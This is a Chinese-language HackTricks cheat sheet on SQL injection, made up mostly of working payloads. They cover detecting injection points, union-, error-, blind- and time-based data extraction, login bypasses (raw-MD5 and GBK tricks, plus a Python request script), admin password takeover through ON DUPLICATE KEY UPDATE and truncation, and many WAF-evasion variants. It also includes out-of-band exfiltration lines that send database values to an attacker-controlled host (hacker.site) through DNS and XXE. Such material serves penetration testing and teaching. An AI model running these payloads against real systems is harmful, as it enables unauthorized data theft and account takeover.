# SQL注入
☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 您在**网络安全公司**工作吗?您想要在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
​​​​[**RootedCON**](https://www.rootedcon.com/)是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流地。 {% embed url="https://www.rootedcon.com/" %} ## 什么是SQL注入? **SQL注入**是一种安全漏洞,允许攻击者干扰应用程序的数据库查询。这种漏洞可以使攻击者查看、修改或删除他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致对应用程序功能或内容的永久更改,甚至危及服务器或造成拒绝服务。 ## 入口点检测 当网站由于对SQL注入(SQLi)相关输入的异常服务器响应而**易受攻击**时,**第一步**是了解如何在不干扰查询的情况下**注入数据**。这需要有效地识别**从当前上下文中逃逸**的方法。 以下是一些有用的示例: ``` [Nothing] ' " ` ') ") `) ')) ")) `)) ``` 然后,您需要知道如何**修复查询以避免错误**。为了修复查询,您可以**输入**数据,使**先前的查询接受新数据**,或者您可以只是**输入**您的数据并**在末尾添加注释符号**。 _请注意,如果您可以看到错误消息或者可以发现查询在工作时和不工作时的区别,这个阶段将会更容易。_ ### **注释** ```sql MySQL #comment -- comment [Note the space after the double dash] /*comment*/ /*! MYSQL Special SQL */ PostgreSQL --comment /*comment*/ MSQL --comment /*comment*/ Oracle --comment SQLite --comment /*comment*/ HQL HQL does not support comments ``` ### 使用逻辑操作确认 确认 SQL 注入漏洞的可靠方法包括执行**逻辑操作**并观察预期结果。例如,当修改 GET 参数,如 `?username=Peter` 到 `?username=Peter' or '1'='1` 时产生相同内容,表明存在 SQL 注入漏洞。 同样,应用**数学操作**作为有效的确认技术。例如,如果访问 `?id=1` 和 `?id=2-1` 产生相同结果,则表明存在 SQL 注入。 演示逻辑操作确认的示例: ``` page.asp?id=1 or 1=1 -- results in true page.asp?id=1' or 1=1 -- results in true page.asp?id=1" or 1=1 -- results in true page.asp?id=1 and 1=2 -- results in false ``` 这个单词列表是为了尝试以提议的方式**确认SQL注入**而创建的: {% file src="../../.gitbook/assets/sqli-logic.txt" %} ### 使用时间确认 在某些情况下,您**不会注意到页面**上的任何变化。因此,发现盲目SQL注入的一个好方法是让数据库执行操作,这将**影响页面加载所需的时间**。\ 因此,我们将在SQL查询中连接一个需要很长时间才能完成的操作: ``` MySQL (string concat and logical ops) 1' + sleep(10) 1' and sleep(10) 1' && sleep(10) 1' | sleep(10) PostgreSQL (only support string concat) 1' || pg_sleep(10) MSQL 1' WAITFOR DELAY '0:0:10' Oracle 1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10) SQLite 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) ``` 在某些情况下,**sleep 函数可能不被允许**。因此,您可以使查询执行**复杂操作**,以便需要几秒钟的时间。_这些技术的示例将在每种技术中单独进行说明_。 ### 识别后端 识别后端的最佳方法是尝试执行不同后端的函数。您可以使用上一节中的**sleep 函数**或这些函数(来自[payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)中的表格: ```bash ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"], ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"], ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"], ["@@CONNECTIONS>0" ,"MSSQL"], ["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"], ["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"], ["USER_ID(1)=USER_ID(1)" ,"MSSQL"], ["ROWNUM=ROWNUM" ,"ORACLE"], ["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"], ["LNNVL(0=123)" ,"ORACLE"], ["5::int=5" ,"POSTGRESQL"], ["5::integer=5" ,"POSTGRESQL"], ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"], ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"], ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"], ["current_database()=current_database()" ,"POSTGRESQL"], ["sqlite_version()=sqlite_version()" ,"SQLITE"], ["last_insert_rowid()>1" ,"SQLITE"], ["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"], ["val(cvar(1))=1" ,"MSACCESS"], ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"], ["cdbl(1)=cdbl(1)" ,"MSACCESS"], ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ``` 此外,如果您可以访问查询的输出,您可以使其**打印数据库的版本**。 {% hint style="info" %} 接下来,我们将讨论利用不同类型的SQL注入的不同方法。我们将以MySQL为例。 {% endhint %} ### 使用PortSwigger进行识别 {% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %} ## 利用基于Union的漏洞 ### 检测列数 如果您可以看到查询的输出,这是利用漏洞的最佳方法。\ 首先,我们需要找出**初始请求**返回的**列数**。这是因为**两个查询必须返回相同数量的列**。\ 通常有两种方法用于此目的: #### Order/Group by 要确定查询中的列数,逐步调整**ORDER BY**或**GROUP BY**子句中使用的数字,直到收到错误响应。尽管**GROUP BY**和**ORDER BY**在SQL中具有不同的功能,但两者都可以用于确定查询的列数。 ```sql 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True 1' ORDER BY 3--+ #True 1' ORDER BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True ``` ```sql 1' GROUP BY 1--+ #True 1' GROUP BY 2--+ #True 1' GROUP BY 3--+ #True 1' GROUP BY 4--+ #False - Query is only using 3 columns #-1' UNION SELECT 1,2,3--+ True ``` #### UNION SELECT 选择更多的空值,直到查询正确: ```sql 1' UNION SELECT null-- - Not working 1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null,null-- - Worked ``` _在某些情况下,查询两侧列的类型必须相同,因此应使用`null`值。_ ### 提取数据库名称、表名称和列名称 在下面的示例中,我们将检索所有数据库的名称、数据库的表名称以及表的列名称: ```sql #Database names -1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata #Tables of a database -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database] #Column names -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] ``` _每个不同的数据库都有一种不同的方法来发现这些数据,但方法论总是相同的。_ ## 利用隐藏的基于联合的注入 当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入,需要识别后端执行查询的方式。 这可以通过使用盲注入技术以及特定于目标数据库管理系统(DBMS)的默认表来实现。为了了解这些默认表,建议查阅目标DBMS的文档。 一旦查询被提取出来,就需要调整有效载荷以安全地关闭原始查询。随后,在有效载荷中附加一个联合查询,从而促使对新获得的基于联合的注入进行利用。 要获取更全面的见解,请参考[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)上提供的完整文章。 ## 利用基于错误的注入 如果由于某种原因**无法**看到**查询**的**输出**,但可以**看到错误消息**,则可以利用这些错误消息从数据库中**提取**数据。\ 按照与基于联合的利用相似的流程,您可以成功地转储数据库。 ```sql (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) ``` ## 利用盲注入漏洞 在这种情况下,您无法看到查询结果或错误,但您可以区分查询返回的是真还是假的响应,因为页面上的内容不同。\ 在这种情况下,您可以利用这种行为逐个字符地转储数据库: ```sql ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ``` ## 利用错误盲注 SQLi 这与之前的情况**相同**,但不再区分查询的真/假响应,而是可以区分SQL查询中是否存在**错误**(也许是因为HTTP服务器崩溃)。因此,在这种情况下,每次猜对一个字符时,您可以强制引发一个 SQL 错误: ```sql AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` ## 利用基于时间的 SQLi 在这种情况下,**无法**根据页面上下文**区分**查询的**响应**。但是,如果猜测的字符正确,可以使页面**加载时间更长**。我们之前已经看到过这种技术的应用,用于[确认 SQLi 漏洞](./#confirming-with-timing)。 ```sql 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# ``` ## 堆叠查询 您可以使用堆叠查询来**连续执行多个查询**。请注意,虽然后续查询会被执行,但**结果不会返回给应用程序**。因此,这种技术主要用于**盲目漏洞**,您可以使用第二个查询来触发DNS查找、条件错误或时间延迟。 **Oracle**不支持**堆叠查询**。**MySQL、Microsoft**和**PostgreSQL**支持:`在此处放置查询1; 在此处放置查询2` ## 带外利用 如果**没有其他**利用方法**奏效**,您可以尝试让**数据库将信息**传输到您控制的**外部主机**。例如,通过DNS查询: ```sql select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ``` ### 通过XXE进行带外数据泄露 ```sql a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- - ``` ## 自动化利用 查看[SQLMap Cheetsheat](sqlmap/)以使用[**sqlmap**](https://github.com/sqlmapproject/sqlmap)利用SQLi漏洞。 ## 技术特定信息 我们已经讨论了利用SQL注入漏洞的所有方法。在本书中找到一些与数据库技术相关的更多技巧: * [MS Access](ms-access-sql-injection.md) * [MSSQL](mssql-injection.md) * [MySQL](mysql-injection/) * [Oracle](oracle-injection.md) * [PostgreSQL](postgresql-injection/) 或者您可以在[**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)中找到关于MySQL、PostgreSQL、Oracle、MSSQL、SQLite和HQL的**许多技巧**。
​​​​​[**RootedCON**](https://www.rootedcon.com/)是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点会议。 {% embed url="https://www.rootedcon.com/" %} ## 身份验证绕过 尝试绕过登录功能的列表: {% content-ref url="../login-bypass/sql-login-bypass.md" %} [sql-login-bypass.md](../login-bypass/sql-login-bypass.md) {% endcontent-ref %} ### 原始哈希身份验证绕过 ```sql "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" ``` 这个查询展示了在身份验证检查中使用MD5和true作为原始输出时存在的漏洞,使系统容易受到SQL注入的攻击。攻击者可以通过构造输入,使其在哈希后产生意外的SQL命令部分,从而实现未经授权的访问。 ```sql md5("ffifdyop", true) = 'or'6�]��!r,��b� sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! ``` ### 注入哈希身份验证绕过 ```sql admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' ``` **推荐列表**: 您应该将列表中的每一行作为用户名,密码始终为:_**Pass1234.**_\ _(这些有效载荷也包含在本节开头提到的大列表中)_ {% file src="../../.gitbook/assets/sqli-hashbypass.txt" %} ### GBK身份验证绕过 如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,将创建:0xA80x5c0x27 (_╘'_) ```sql %A8%27 OR 1=1;-- 2 %8C%A8%27 OR 1=1-- 2 %bf' or 1=1 -- -- ``` Python脚本: ```python import requests url = "http://example.com/index.php" cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3') datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) print r.text ``` ### 多语言注入(多上下文) ```sql SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` ## 插入语句 ### 修改现有对象/用户的密码 要做到这一点,您应该尝试**创建一个名为"主对象"**(在用户情况下可能是**admin**)修改一些内容: - 创建用户名为:**AdMIn**(大写和小写字母) - 创建用户名为:**admin=** - **SQL截断攻击**(当用户名或电子邮件中存在某种**长度限制**时)--> 创建名称为:**admin \[很多空格] a**的用户 #### SQL截断攻击 如果数据库存在漏洞,并且用户名的最大字符数为30,您想要冒充用户**admin**,尝试创建一个名为:"_admin \[30个空格] a_"的用户名和任何密码。 数据库将**检查**引入的**用户名**是否存在于数据库中。如果**不存在**,它将**截断**用户名至**允许的最大字符数**(在本例中为:"_admin \[25个空格]_"),然后将**自动删除所有末尾的空格**,更新数据库中的用户"**admin**"与**新密码**(可能会出现一些错误,但这并不意味着这没有起作用)。 更多信息:[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) _注意:在最新的MySQL安装中,此攻击将不再按上述描述的方式起作用。虽然比较仍然默认忽略尾随空格,但尝试插入长于字段长度的字符串将导致错误,插入将失败。有关此检查的更多信息,请查看:[https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_ ### MySQL插入基于时间的检查 在VALUES语句中添加尽可能多的`','',''`。如果延迟执行,则存在SQL注入。 ```sql name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ``` ### ON DUPLICATE KEY UPDATE MySQL中的`ON DUPLICATE KEY UPDATE`子句用于指定数据库在尝试插入导致在UNIQUE索引或PRIMARY KEY中出现重复值的行时应采取的操作。以下示例演示了如何利用此功能来修改管理员帐户的密码: 注入示例负载: 可以制作如下注入负载,尝试将两行插入`users`表中。第一行是诱饵,第二行针对现有管理员的电子邮件,意图是更新密码: ```sql INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; ``` 这是它的工作原理: - 查询尝试插入两行数据:一个是`generic_user@example.com`,另一个是`admin_generic@example.com`。 - 如果`admin_generic@example.com`的行已经存在,则`ON DUPLICATE KEY UPDATE`子句会触发,指示MySQL将现有行的`password`字段更新为"bcrypt_hash_of_newpassword"。 - 因此,随后可以尝试使用`admin_generic@example.com`进行身份验证,密码对应于bcrypt哈希("bcrypt_hash_of_newpassword"代表新密码的bcrypt哈希,应该用所需密码的实际哈希替换)。 ### 提取信息 #### 同时创建2个帐户 当尝试创建新用户和用户名时,需要密码和电子邮件: ``` SQLi payload: username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- - A new user with username=otherUsername, password=otherPassword, email:FLAG will be created ``` #### 使用十进制或十六进制 通过这种技术,您可以仅创建一个帐户来提取信息。重要的是要注意,您不需要添加任何注释。 使用**hex2dec**和**substr**: ```sql '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` 要获取文本,您可以使用: ```python __import__('binascii').unhexlify(hex(215573607263)[2:]) ``` 使用**hex**和**replace**(以及**substr**): ```sql '+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' '+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' #Full ascii uppercase and lowercase replace: '+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' ``` ​
​​​​​​[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。 {% embed url="https://www.rootedcon.com/" %} ## 路由 SQL 注入 路由 SQL 注入是一种情况,其中可注入的查询不是提供输出的查询,而是可注入查询的输出进入提供输出的查询。([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) 示例: ``` #Hex of: -1' union select login,password from users-- a -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a ``` ## WAF绕过 [从这里开始的初始绕过](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass) ### 无空格绕过 无空格 (%20) - 使用空格替代绕过 ```sql ?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- ?id=1%0Cand%0C1=1%0C-- ?id=1%0Band%0B1=1%0B-- ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- ``` ### No Whitespace - 通过使用注释绕过 在某些情况下,您可能无法在注入点使用空格字符。在这种情况下,您可以尝试使用注释来绕过此限制。您可以在SQL语句中使用注释来替换空格字符,以便成功执行SQL注入攻击。 ```sql ?id=1/*comment*/and/**/1=1/**/-- ``` ### 无空格 - 使用括号绕过 在某些情况下,当注入点周围存在空格时,可以使用括号来绕过这种限制。 ```sql ?id=(1)and(1)=(1)-- ``` ### 无逗号绕过 使用 OFFSET、FROM 和 JOIN 进行绕过。 ``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d ``` ### 通用绕过方法 关键词黑名单 - 使用大写/小写绕过 ```sql ?id=1 AND 1=1# ?id=1 AnD 1=1# ?id=1 aNd 1=1# ``` 使用关键词黑名单不区分大小写 - 通过使用等效运算符绕过 ``` AND -> && -> %26%26 OR -> || -> %7C%7C = -> LIKE,REGEXP,RLIKE, not < and not > > X -> not between 0 and X WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null)) ``` ### 科学计数法 WAF绕过 您可以在[gosecure博客](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)中找到关于这一技巧的更深入解释。\ 基本上,您可以以意想不到的方式使用科学计数法来绕过WAF: ``` -1' or 1.e(1) or '1'='1 -1' or 1337.1337e1 or '1'='1 ' or 1.e('')= ``` ### 绕过列名限制 首先要注意,如果**原始查询和你想从中提取标志的表具有相同数量的列**,你可以简单地执行:`0 UNION SELECT * FROM flag` 可以**访问表的第三列而无需使用其名称**,使用以下查询:`SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`,因此在 SQL 注入中会是这样的形式: ```bash # This is an example with 3 columns that will extract the column number 3 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; ``` 或者使用**逗号绕过**: ```bash # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c ``` 这个技巧来源于[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) ### WAF绕过建议工具 {% embed url="https://github.com/m4ll0k/Atlas" %} ## 其他指南 * [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) ## 暴力检测列表 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流。 {% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或[**电报群**](https://t.me/peass) 或在**Twitter**上关注我**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。